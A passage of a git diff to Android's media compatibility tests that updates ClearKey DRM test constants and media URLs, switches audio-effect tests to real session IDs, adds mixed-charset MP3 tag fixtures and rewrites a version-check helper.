     0x73, 0x22, 0x3a, 0x5b, 0x22,
-    0x4d, 0x44, 0x41, 0x77, 0x4d,
-    0x44, 0x41, 0x77, 0x4d, 0x44,
-    0x41, 0x77, 0x4d, 0x44, 0x41,
-    0x77, 0x4d, 0x44, 0x41, 0x77,
-    0x4d, 0x41, 0x22, 0x5d, 0x2c,
+    0x59, 0x41, 0x59, 0x65, 0x41,
+    0x58, 0x35, 0x48, 0x66, 0x6f,
+    0x64, 0x2b, 0x56, 0x39, 0x41,
+    0x4e, 0x48, 0x74, 0x41, 0x4e,
+    0x48, 0x67, 0x22, 0x5d, 0x2c,
     0x22, 0x74, 0x79, 0x70, 0x65,
     0x22, 0x3a, 0x22, 0x74, 0x65,
     0x6d, 0x70, 0x6f, 0x72, 0x61,
-    0x72, 0x79, 0x22, 0x7d
+    0x72, 0x79, 0x22, 0x7d,
 };
 
 static const size_t kKeyRequestSize = sizeof(kKeyRequestData);
 
 // base 64 encoded JSON response string, must not contain padding character '='
 static const char kResponse[] = "{\"keys\":[{\"kty\":\"oct\"," \
-        "\"kid\":\"MDAwMDAwMDAwMDAwMDAwMA\",\"k\":" \
-        "\"Pwoz80CYueIrwHjgobXoVA\"}]}";
+        "\"kid\":\"YAYeAX5Hfod+V9ANHtANHg\",\"k\":" \
+        "\"GoogleTestKeyBase64ggg\"}]}";
 
 static bool isUuidSizeValid(Uuid uuid) {
     return (uuid.size() == kUuidSize);
@@ -246,12 +246,17 @@
     for (size_t i = 0; i < psshInfo->numentries; i++) {
         PsshEntry *entry = &psshInfo->entries[i];
 
-        if (0 == memcmp(entry->uuid, kClearKeyUuid, sizeof(entry->uuid))) {
-            aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
-            if (aMediaObjects.getDrm()) {
+        // We do not have clearkey content that contains ClearKey UUID in the
+        // pssh box. So we have to test if it has Widevine UUID instead.
+        // TODO: Replace kWidevineUuid with uuid when test content contains
+        // ClearKey UUID.
+        if (0 == memcmp(entry->uuid, kWidevineUuid, sizeof(entry->uuid))) {
+            aMediaObjects.setCrypto(
+                AMediaCrypto_new(entry->uuid, entry->data, entry->datalen));
+            if (aMediaObjects.getCrypto()) {
                 testResult = JNI_TRUE;
             } else {
-                ALOGE("Failed to create media drm=%zd", i);
+                ALOGE("Failed to create media crypto=%zd", i);
                 testResult = JNI_FALSE;
             }
             break;
@@ -288,7 +293,6 @@
         AMediaCodec** codec) {
     size_t numTracks = AMediaExtractor_getTrackCount(
         const_cast<AMediaExtractor*>(extractor));
-
     AMediaFormat* trackFormat = NULL;
     for (size_t i = 0; i < numTracks; ++i) {
         trackFormat = AMediaExtractor_getTrackFormat(
@@ -301,7 +305,6 @@
             if (!AMediaFormat_getString(
                 trackFormat, AMEDIAFORMAT_KEY_MIME, &mime)) {
                 ALOGE("no mime type");
-
                 AMediaFormat_delete(trackFormat);
                 return;
             } else if (isAudio(mime) || isVideo(mime)) {
@@ -347,7 +350,6 @@
 
         AMediaCodecCryptoInfo *cryptoInfo =
             AMediaExtractor_getSampleCryptoInfo(extractor);
-
         if (cryptoInfo) {
             status = AMediaCodec_queueSecureInputBuffer(
                 codec, bufferIndex, 0, cryptoInfo,
@@ -418,7 +420,6 @@
     }
 
     addTracks(audioExtractor, NULL, NULL, &audioCodec);
-
     addTracks(videoExtractor, crypto, window, &videoCodec);
 
     bool sawAudioInputEos = false;
@@ -614,7 +615,7 @@
             int count = 0;
             while (!gGotVendorDefinedEvent && count++ < 5) {
                // Prevents race condition when the event arrives late
-               usleep(2000);
+               usleep(1000);
             }
             if (!gGotVendorDefinedEvent) {
                 ALOGE("Event listener did not receive the expected event.");
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3
new file mode 100644
index 0000000..af2c7ac
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3
new file mode 100644
index 0000000..d1c88fe
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3
new file mode 100644
index 0000000..ddae12f
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3
new file mode 100644
index 0000000..78bad13
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3
new file mode 100644
index 0000000..c7d8429
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3
new file mode 100644
index 0000000..c8d4afa
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/BassBoostTest.java b/tests/tests/media/src/android/media/cts/BassBoostTest.java
index c9bffd9..2004cf8 100644
--- a/tests/tests/media/src/android/media/cts/BassBoostTest.java
+++ b/tests/tests/media/src/android/media/cts/BassBoostTest.java
@@ -51,7 +51,7 @@
         }
         BassBoost eq = null;
         try {
-            eq = new BassBoost(0, 0);
+            eq = new BassBoost(0, getSessionId());
             try {
                 assertTrue("invalid effect ID", (eq.getId() != 0));
             } catch (IllegalStateException e) {
@@ -79,7 +79,7 @@
         if (!isBassBoostAvailable()) {
             return;
         }
-        getBassBoost(0);
+        getBassBoost(getSessionId());
         try {
             if (mBassBoost.getStrengthSupported()) {
                 short strength = mBassBoost.getRoundedStrength();
@@ -111,7 +111,7 @@
         if (!isBassBoostAvailable()) {
             return;
         }
-        getBassBoost(0);
+        getBassBoost(getSessionId());
         try {
             BassBoost.Settings settings = mBassBoost.getProperties();
             String str = settings.toString();
@@ -148,7 +148,7 @@
         if (!isBassBoostAvailable()) {
             return;
         }
-        getBassBoost(0);
+        getBassBoost(getSessionId());
         mBassBoost.release();
         try {
             mBassBoost.setStrength(TEST_STRENGTH);
@@ -169,7 +169,7 @@
         if (!isBassBoostAvailable()) {
             return;
         }
-        getBassBoost(0);
+        getBassBoost(getSessionId());
         try {
             mBassBoost.setEnabled(true);
             assertTrue("invalid state from getEnabled", mBassBoost.getEnabled());
@@ -188,7 +188,7 @@
         if (!isBassBoostAvailable()) {
             return;
         }
-        getBassBoost(0);
+        getBassBoost(getSessionId());
         mBassBoost.release();
         try {
             mBassBoost.setEnabled(true);
@@ -215,7 +215,7 @@
             createListenerLooper(true, false, false);
             waitForLooperInitialization_l();
 
-            getBassBoost(0);
+            getBassBoost(mSession);
             int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
             while (mHasControl && (looperWaitCount-- > 0)) {
                 try {
@@ -241,7 +241,7 @@
 
             mBassBoost2.setEnabled(true);
             mIsEnabled = true;
-            getBassBoost(0);
+            getBassBoost(mSession);
             mBassBoost.setEnabled(false);
             int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
             while (mIsEnabled && (looperWaitCount-- > 0)) {
@@ -266,7 +266,7 @@
             createListenerLooper(false, false, true);
             waitForLooperInitialization_l();
 
-            getBassBoost(0);
+            getBassBoost(mSession);
             mChangedParameter = -1;
             mBassBoost.setStrength(TEST_STRENGTH);
             int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
@@ -357,7 +357,8 @@
                 // after we are done with it.
                 mLooper = Looper.myLooper();
 
-                mBassBoost2 = new BassBoost(0, 0);
+                mSession = getSessionId();
+                mBassBoost2 = new BassBoost(0, mSession);
                 assertNotNull("could not create bassboot2", mBassBoost2);
 
                 synchronized(mLock) {
@@ -432,4 +433,4 @@
             mBassBoost2 = null;
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/ConnectionStatus.java b/tests/tests/media/src/android/media/cts/ConnectionStatus.java
index 407e553..37fc75e 100644
--- a/tests/tests/media/src/android/media/cts/ConnectionStatus.java
+++ b/tests/tests/media/src/android/media/cts/ConnectionStatus.java
@@ -132,14 +132,6 @@
     }
 
     public void testConnection(Uri uri) {
-        final String GOOG = "www.google.com";
-
-        if (pingTest(GOOG)) {
-            Log.d(TAG, "Successfully pinged " + GOOG);
-        } else {
-            Log.e(TAG, "Failed to ping " + GOOG);
-        }
-
         if (pingTest(uri.getHost())) {
             Log.d(TAG, "Successfully pinged " + uri.getHost());
         } else {
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
index e7b8adf..7b74ba7 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
@@ -19,10 +19,7 @@
 
 import android.annotation.TargetApi;
 import android.content.Context;
-import android.cts.util.MediaUtils;
 import android.graphics.Bitmap;
-import android.media.MediaFormat;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.view.View;
 
@@ -139,23 +136,17 @@
 
     private void runH264DecodeAccuracyTest(
             VideoViewFactory videoViewFactory, VideoFormat videoFormat) {
-        if (MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.h264decodertestgolden);
-        }
+        runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.h264decodertestgolden);
     }
 
     private void runVP9DecodeAccuracyTest(
             VideoViewFactory videoViewFactory, VideoFormat videoFormat) {
-        if (MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_VP9)) {
-            runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.vp9decodertestgolden);
-        }
+        runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.vp9decodertestgolden);
     }
 
     private void runH264DecodeCroppedTest(
             VideoViewFactory videoViewFactory, VideoFormat videoFormat) {
-        if (MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.h264decodertest520x360golden);
-        }
+        runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.h264decodertest520x360golden);
     }
 
     private void runDecodeAccuracyTest(
diff --git a/tests/tests/media/src/android/media/cts/EqualizerTest.java b/tests/tests/media/src/android/media/cts/EqualizerTest.java
index f07c99e..a8bd98a 100644
--- a/tests/tests/media/src/android/media/cts/EqualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/EqualizerTest.java
@@ -51,7 +51,7 @@
     public void test0_0ConstructorAndRelease() throws Exception {
         Equalizer eq = null;
         try {
-            eq = new Equalizer(0, 0);
+            eq = new Equalizer(0, getSessionId());
             try {
                 assertTrue("invalid effect ID", (eq.getId() != 0));
             } catch (IllegalStateException e) {
@@ -75,7 +75,7 @@
 
     //Test case 1.0: test setBandLevel() and getBandLevel()
     public void test1_0BandLevel() throws Exception {
-        getEqualizer(0);
+        getEqualizer(getSessionId());
         try {
             short numBands = mEqualizer.getNumberOfBands();
             assertTrue("not enough bands", numBands >= MIN_NUMBER_OF_BANDS);
@@ -104,7 +104,7 @@
 
     //Test case 1.1: test band frequency
     public void test1_1BandFrequency() throws Exception {
-        getEqualizer(0);
+        getEqualizer(getSessionId());
         try {
             short band = mEqualizer.getBand(TEST_FREQUENCY_MILLIHERTZ);
             assertTrue("getBand failed", band >= 0);
@@ -129,7 +129,7 @@
 
     //Test case 1.2: test presets
     public void test1_2Presets() throws Exception {
-        getEqualizer(0);
+        getEqualizer(getSessionId());
         try {
             short numPresets = mEqualizer.getNumberOfPresets();
             assertTrue("getNumberOfPresets failed", numPresets >= MIN_NUMBER_OF_PRESETS);
@@ -154,7 +154,7 @@
 
     //Test case 1.3: test properties
     public void test1_3Properties() throws Exception {
-        getEqualizer(0);
+        getEqualizer(getSessionId());
         try {
             Equalizer.Settings settings = mEqualizer.getProperties();
             assertTrue("no enough bands", settings.numBands >= MIN_NUMBER_OF_BANDS);
@@ -185,7 +185,7 @@
 
     //Test case 1.4: test setBandLevel() throws exception after release
     public void test1_4SetBandLevelAfterRelease() throws Exception {
-        getEqualizer(0);
+        getEqualizer(getSessionId());
         mEqualizer.release();
         try {
             mEqualizer.setBandLevel((short)0, (short)0);
@@ -202,7 +202,7 @@
 
     //Test case 2.0: test setEnabled() and getEnabled() in valid state
     public void test2_0SetEnabledGetEnabled() throws Exception {
-        getEqualizer(0);
+        getEqualizer(getSessionId());
         try {
             mEqualizer.setEnabled(true);
             assertTrue("invalid state from getEnabled", mEqualizer.getEnabled());
@@ -218,7 +218,7 @@
 
     //Test case 2.1: test setEnabled() throws exception after release
     public void test2_1SetEnabledAfterRelease() throws Exception {
-        getEqualizer(0);
+        getEqualizer(getSessionId());
         mEqualizer.release();
         try {
             mEqualizer.setEnabled(true);
@@ -241,7 +241,7 @@
             createListenerLooper(true, false, false);
             waitForLooperInitialization_l();
 
-            getEqualizer(0);
+            getEqualizer(mSession);
             int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
             while (mHasControl && (looperWaitCount-- > 0)) {
                 try {
@@ -264,7 +264,7 @@
 
             mEqualizer2.setEnabled(true);
             mIsEnabled = true;
-            getEqualizer(0);
+            getEqualizer(mSession);
             mEqualizer.setEnabled(false);
             int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
             while (mIsEnabled && (looperWaitCount-- > 0)) {
@@ -286,7 +286,7 @@
             createListenerLooper(false, false, true);
             waitForLooperInitialization_l();
 
-            getEqualizer(0);
+            getEqualizer(mSession);
             mChangedParameter = -1;
             mEqualizer.setBandLevel((short)0, (short)0);
 
@@ -377,7 +377,8 @@
                 // after we are done with it.
                 mLooper = Looper.myLooper();
 
-                mEqualizer2 = new Equalizer(0, 0);
+                mSession = getSessionId();
+                mEqualizer2 = new Equalizer(0, mSession);
                 assertNotNull("could not create Equalizer2", mEqualizer2);
 
                 synchronized(mLock) {
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 0c24ade..76324ab 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -435,6 +435,18 @@
         return 1;
     }
 
+    public void testRecordAudioFromAudioSourceUnprocessed() throws Exception {
+        if (!hasMicrophone() || !hasAmrNb()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.UNPROCESSED);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        mMediaRecorder.setOutputFile(OUTPUT_PATH);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
+        recordMedia(MAX_FILE_SIZE, mOutFile);
+    }
+
     public void testGetAudioSourceMax() throws Exception {
         final int max = MediaRecorder.getAudioSourceMax();
         assertTrue(MediaRecorder.AudioSource.DEFAULT <= max);
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index ce93cb1..ee76aa2 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -465,7 +465,20 @@
             new MediaScanEntry(R.raw.iso88591_13,
                     new String[] {"Michael Bublé", "Crazy Love", "Michael Bublé", "Haven't Met You Yet", null}),
             new MediaScanEntry(R.raw.utf16_1,
-                    new String[] {"Shakira", "Latin Mix USA", "Shakira", "Estoy Aquí", null})
+                    new String[] {"Shakira", "Latin Mix USA", "Shakira", "Estoy Aquí", null}),
+            // Tags are encoded in different charsets.
+            new MediaScanEntry(R.raw.iso88591_utf8_mixed_1,
+                    new String[] {"刘昊霖/kidult.", "鱼干铺里", "刘昊霖/kidult.", "Colin Wine's Mailbox", null}),
+            new MediaScanEntry(R.raw.iso88591_utf8_mixed_2,
+                    new String[] {"冰块先生/郭美孜", "hey jude", "冰块先生/郭美孜", "Hey Jude", null}),
+            new MediaScanEntry(R.raw.iso88591_utf8_mixed_3,
+                    new String[] {"Toy王奕/Tizzy T/满舒克", "1993", "Toy王奕/Tizzy T/满舒克", "Me&Ma Bros", null}),
+            new MediaScanEntry(R.raw.gb18030_utf8_mixed_1,
+                    new String[] {"张国荣", "钟情张国荣", null, "左右手", null}),
+            new MediaScanEntry(R.raw.gb18030_utf8_mixed_2,
+                    new String[] {"纵贯线", "Live in Taipei 出发\\/终点站", null, "皇后大道东(Live)", null}),
+            new MediaScanEntry(R.raw.gb18030_utf8_mixed_3,
+                    new String[] {"谭咏麟", "二十年白金畅销金曲全记录", null, "知心当玩偶", null})
     };
 
     public void testEncodingDetection() throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
index 649496e..1d4500f 100644
--- a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
@@ -18,13 +18,12 @@
 import static org.junit.Assert.assertThat;
 import static org.junit.matchers.JUnitMatchers.containsString;
 
+import android.cts.util.MediaUtils;
 import android.net.Uri;
-import android.os.Build;
 import android.util.Log;
 import android.view.Surface;
 import android.view.SurfaceHolder;
 
-import android.cts.util.MediaUtils;
 import com.google.android.collect.Lists;
 
 import java.nio.ByteBuffer;
@@ -45,12 +44,11 @@
     private static final String ISO_BMFF_VIDEO_MIME_TYPE = "video/avc";
     private static final String ISO_BMFF_AUDIO_MIME_TYPE = "audio/avc";
     private static final Uri CENC_AUDIO_URL = Uri.parse(
-        "https://storage.googleapis.com/wvmedia/clear/h264/llama/" +
-        "llama_aac_audio.mp4");
-
+        "http://yt-dash-mse-test.commondatastorage.googleapis.com/media/" +
+        "car_cenc-20120827-8c.mp4");
     private static final Uri CENC_CLEARKEY_VIDEO_URL = Uri.parse(
-        "https://storage.googleapis.com/wvmedia/clearkey/" +
-        "llama_h264_main_720p_8000.mp4");
+        "http://yt-dash-mse-test.commondatastorage.googleapis.com/media/" +
+        "car_cenc-20120827-88.mp4");
 
     private static final int UUID_BYTE_SIZE = 16;
     private static final UUID CLEARKEY_SCHEME_UUID =
@@ -96,7 +94,7 @@
 
     private boolean deviceHasMediaDrm() {
         // ClearKey is introduced after KitKat.
-        if (Build.VERSION.SDK_INT <= android.os.Build.VERSION_CODES.KITKAT) {
+        if (android.os.Build.VERSION.SDK_INT <= android.os.Build.VERSION_CODES.KITKAT) {
             Log.i(TAG, "This test is designed to work after Android KitKat.");
             return false;
         }
@@ -172,12 +170,25 @@
         }
         connectionStatus.testConnection(videoUrl);
 
-        if (!MediaUtils.checkCodecsForPath(mContext, videoUrl.toString())) {
+        if (!MediaUtils.checkCodecsForPath(mContext, videoUrl.getPath())) {
             Log.i(TAG, "Device does not support " +
                   videoWidth + "x" + videoHeight + " resolution for " + mimeType);
             return;  // skip
         }
 
+        // set to true if modify isVersionSmaller()
+        if (false)
+            unitTestIsVersionSmaller();
+
+        // This test requires two changes in frameworks/av (go/av/1628977 and
+        // go/ag/1598174) that are in 7.1.2 and above.
+        // Version 8 and above does not need this check.
+        if (isVersionSmaller(android.os.Build.VERSION.RELEASE, "7.1.2")) {
+            Log.i(TAG, "This test requires android \"7.1.2\" or higher.");
+            Log.i(TAG, "This device is running \"" +
+                  android.os.Build.VERSION.RELEASE + "\".");
+            return; // skip
+        }
         PlaybackParams params = new PlaybackParams();
         params.surface = mActivity.getSurfaceHolder().getSurface();
         params.mimeType = mimeType;
@@ -191,52 +202,49 @@
         params.surface.release();
     }
 
-    /*
-     * Compare version strings
-     *
-     * @param actual Actual platform's Android version
-     * @param expected Minimum Android version
-     *
-     * @return 0 if the versions are identical
-     * @return +v if actual is greater than expected
-     * @return -ve if actual is less than expected
+    private void unitTestIsVersionSmaller() {
+        assertTrue(isVersionSmaller("6.9", "7.1.2"));
+        assertTrue(isVersionSmaller("7.1", "7.1.2"));
+        assertTrue(isVersionSmaller("7.1.1", "7.1.2"));
+        assertTrue(isVersionSmaller("7.1.1.4", "7.1.2"));
+        assertFalse(isVersionSmaller("7.1.2", "7.1.2"));
+        assertFalse(isVersionSmaller("8.0", "7.1.2"));
+        assertFalse(isVersionSmaller("8.1.2", "7.1.2"));
+    }
+
+    private ArrayList<Integer> intVersion(String version) {
+        String versions[] = version.split("\\.");
+
+        ArrayList<Integer> versionNumbers = Lists.newArrayList();
+        for (String subVersion : versions) {
+            versionNumbers.add(Integer.parseInt(subVersion));
+        }
+        return versionNumbers;
+    }
+
+    /**
+     * Return true if smaller, return false if great than or equal to the
+     * target version.
      */
-    private static Integer compareVersion(String actual, String expected) {
-        String[] part1 = actual.split("\\.");
-        String[] part2 = expected.split("\\.");
+    private boolean isVersionSmaller(String testVersion, String targetVersion) {
+        ArrayList<Integer> intTestVersion = intVersion(testVersion);
+        ArrayList<Integer> intTargetVersion = intVersion(targetVersion);
 
-        int idx = 0;
-        for (; idx < part1.length && idx < part2.length; idx++) {
-            String p1 = part1[idx];
-            String p2 = part2[idx];
-
-            int cmp;
-            if (p1.matches("\\d+") && p2.matches("\\d+")) {
-                cmp = new Integer(p1).compareTo(new Integer(p2));
-            } else {
-                cmp = part1[idx].compareTo(part2[idx]);
-            }
-            if (cmp != 0) return cmp;
-        }
-
-        if (part1.length == part2.length) {
-            return 0;
-        } else {
-            boolean left = part1.length > idx;
-            String[] parts = left ? part1 : part2;
-
-            for (; idx < parts.length; idx++) {
-                String p = parts[idx];
-                int cmp;
-                if (p.matches("\\d+")) {
-                    cmp = new Integer(p).compareTo(0);
+        Iterator itr = intTestVersion.iterator();
+        for (int targetNumber : intTargetVersion) {
+            if (itr.hasNext()) {
+                int testNumber = (int) itr.next();
+                if (testNumber == targetNumber) {
+                    continue;
                 } else {
-                    cmp = 1;
+                    return testNumber < targetNumber;
                 }
-                if (cmp != 0) return left ? cmp : -cmp;
+            } else {
+                // treat test version as 0
+                return 0 != targetNumber;
             }
-            return 0;
         }
+        return false;
     }
 
     private static native boolean isCryptoSchemeSupportedNative(final byte[] uuid);
@@ -250,14 +258,10 @@
     private static native boolean testPsshNative(final byte[] uuid, final String videoUrl);
 
     public void testClearKeyPlaybackCenc() throws Exception {
-        if (compareVersion(Build.VERSION.RELEASE, "7.1.2") >= 0) {
-            testClearKeyPlayback(
-                    ISO_BMFF_VIDEO_MIME_TYPE,
-                    CENC_AUDIO_URL,
-                    CENC_CLEARKEY_VIDEO_URL,
-                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
-        } else {
-            Log.i(TAG, "Skip test, which is intended for Android 7.1.2 and above.");
-        }
+        testClearKeyPlayback(
+                ISO_BMFF_VIDEO_MIME_TYPE,
+                CENC_AUDIO_URL,
+                CENC_CLEARKEY_VIDEO_URL,
+                VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
     }
 }
diff --git a/tests/tests/media/src/android/media/cts/VirtualizerTest.java b/tests/tests/media/src/android/media/cts/VirtualizerTest.java
index 0fc9f31..3fae26c 100644
--- a/tests/tests/media/src/android/media/cts/VirtualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/VirtualizerTest.java
@@ -56,7 +56,7 @@
 
         Virtualizer eq = null;
         try {
-            eq = new Virtualizer(0, 0);
+            eq = new Virtualizer(0, getSessionId());
             try {
                 assertTrue(" invalid effect ID", (eq.getId() != 0));
             } catch (IllegalStateException e) {
@@ -84,7 +84,7 @@
             return;
         }
 
-        getVirtualizer(0);
+        getVirtualizer(getSessionId());
         try {
             if (mVirtualizer.getStrengthSupported()) {
                 short strength = mVirtualizer.getRoundedStrength();
@@ -116,7 +116,7 @@
             return;
         }
 
-        getVirtualizer(0);
+        getVirtualizer(getSessionId());
         try {
             Virtualizer.Settings settings = mVirtualizer.getProperties();
             String str = settings.toString();
@@ -153,7 +153,7 @@
             return;
         }
 
-        getVirtualizer(0);
+        getVirtualizer(getSessionId());
         mVirtualizer.release();
         try {
             mVirtualizer.setStrength(TEST_STRENGTH);
@@ -174,7 +174,7 @@
             return;
         }
 
-        getVirtualizer(0);
+        getVirtualizer(getSessionId());
         try {
             mVirtualizer.setEnabled(true);
             assertTrue(" invalid state from getEnabled", mVirtualizer.getEnabled());
@@ -193,7 +193,7 @@
             return;
         }
 
-        getVirtualizer(0);
+        getVirtualizer(getSessionId());
         mVirtualizer.release();
         try {
             mVirtualizer.setEnabled(true);
@@ -220,7 +220,7 @@
             createListenerLooper(true, false, false);
             waitForLooperInitialization_l();
 
-            getVirtualizer(0);
+            getVirtualizer(mSession);
             int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
             while (mHasControl && (looperWaitCount-- > 0)) {
                 try {
@@ -247,7 +247,7 @@
 
             mVirtualizer2.setEnabled(true);
             mIsEnabled = true;
-            getVirtualizer(0);
+            getVirtualizer(mSession);
             mVirtualizer.setEnabled(false);
             int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
             while (mIsEnabled && (looperWaitCount-- > 0)) {
@@ -273,7 +273,7 @@
             createListenerLooper(false, false, true);
             waitForLooperInitialization_l();
 
-            getVirtualizer(0);
+            getVirtualizer(mSession);
             mChangedParameter = -1;
             mVirtualizer.setStrength(TEST_STRENGTH);
 
@@ -615,7 +615,8 @@
                 // after we are done with it.
                 mLooper = Looper.myLooper();
 
-                mVirtualizer2 = new Virtualizer(0, 0);
+                mSession = getSessionId();
+                mVirtualizer2 = new Virtualizer(0, mSession);
 
                 synchronized(mLock) {
                     if (mControl) {
diff --git a/tests/tests/mediastress/jni/Android.mk b/tests/tests/mediastress/jni/Android.mk
index 164e302..6756bc3 100644
--- a/tests/tests/mediastress/jni/Android.mk
+++ b/tests/tests/mediastress/jni/Android.mk
@@ -29,4 +29,6 @@
 LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libOpenMAXAL
 LOCAL_CXX_STL := libc++_static
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/mediastress/preconditions/src/android/mediastress/cts/preconditions/MediaPreparer.java b/tests/tests/mediastress/preconditions/src/android/mediastress/cts/preconditions/MediaPreparer.java
index 43d044c..13ff24b 100644
--- a/tests/tests/mediastress/preconditions/src/android/mediastress/cts/preconditions/MediaPreparer.java
+++ b/tests/tests/mediastress/preconditions/src/android/mediastress/cts/preconditions/MediaPreparer.java
@@ -33,12 +33,10 @@
 import com.android.tradefed.util.FileUtil;
 import com.android.tradefed.util.ZipUtil;
 
-import org.xmlpull.v1.XmlPullParserException;
-
 import java.io.File;
 import java.io.FileNotFoundException;
-import java.io.IOException;
 import java.io.InputStream;
+import java.io.IOException;
 import java.net.URL;
 import java.net.URLConnection;
 import java.util.Map;
@@ -46,6 +44,8 @@
 import java.util.regex.Pattern;
 import java.util.zip.ZipFile;
 
+import org.xmlpull.v1.XmlPullParserException;
+
 /**
  * Ensures that the appropriate media files exist on the device
  */
@@ -178,8 +178,7 @@
      * TargetSetupError is thrown. Otherwise, the mLocalMediaPath variable is set to the path of
      * this subdirectory.
      */
-    private void updateLocalMediaPath(ITestDevice device, File mediaFolder)
-            throws TargetSetupError {
+    private void updateLocalMediaPath(File mediaFolder) throws TargetSetupError {
         String[] subDirs = mediaFolder.list();
         if (subDirs.length != 1) {
             throw new TargetSetupError(String.format(
@@ -193,15 +192,12 @@
      * Updates mLocalMediaPath to be the pathname of the directory containing bbb_short and
      * bbb_full media directories.
      */
-    private void downloadMediaToHost(ITestDevice device, IBuildInfo buildInfo, File mediaFolder)
-            throws TargetSetupError {
+    private void downloadMediaToHost(File mediaFolder) throws TargetSetupError {
         URL url;
         try {
             // Get download URL from dynamic configuration service
-            File config =
-                    DynamicConfigHostSide.getDynamicConfigFile(buildInfo, DYNAMIC_CONFIG_MODULE);
-            String mediaUrlString =
-                    DynamicConfigHostSide.getValueFromConfig(config, MEDIA_FILES_URL_KEY);
+            DynamicConfigHostSide config = new DynamicConfigHostSide(DYNAMIC_CONFIG_MODULE);
+            String mediaUrlString = config.getValue(MEDIA_FILES_URL_KEY);
             url = new URL(mediaUrlString);
         } catch (IOException | XmlPullParserException e) {
             throw new TargetSetupError("Trouble finding media file download location with " +
@@ -292,10 +288,10 @@
                 // runs of MediaPreparer. Assume media files exist inside.
                 // Else, create directory if needed and download/extract media files inside.
                 mediaFolder.mkdirs();
-                downloadMediaToHost(device, buildInfo, mediaFolder);
+                downloadMediaToHost(mediaFolder);
             }
             // set mLocalMediaPath to where the CTS media files have been extracted
-            updateLocalMediaPath(device, mediaFolder);
+            updateLocalMediaPath(mediaFolder);
         }
         logInfo("Media files located on host at: %s", mLocalMediaPath);
         copyMediaFiles(device);
diff --git a/tests/tests/mediastress/preconditions/tests/src/android/mediastress/cts/preconditions/MediaPreparerTest.java b/tests/tests/mediastress/preconditions/tests/src/android/mediastress/cts/preconditions/MediaPreparerTest.java
index 744e20d..04c3900 100644
--- a/tests/tests/mediastress/preconditions/tests/src/android/mediastress/cts/preconditions/MediaPreparerTest.java
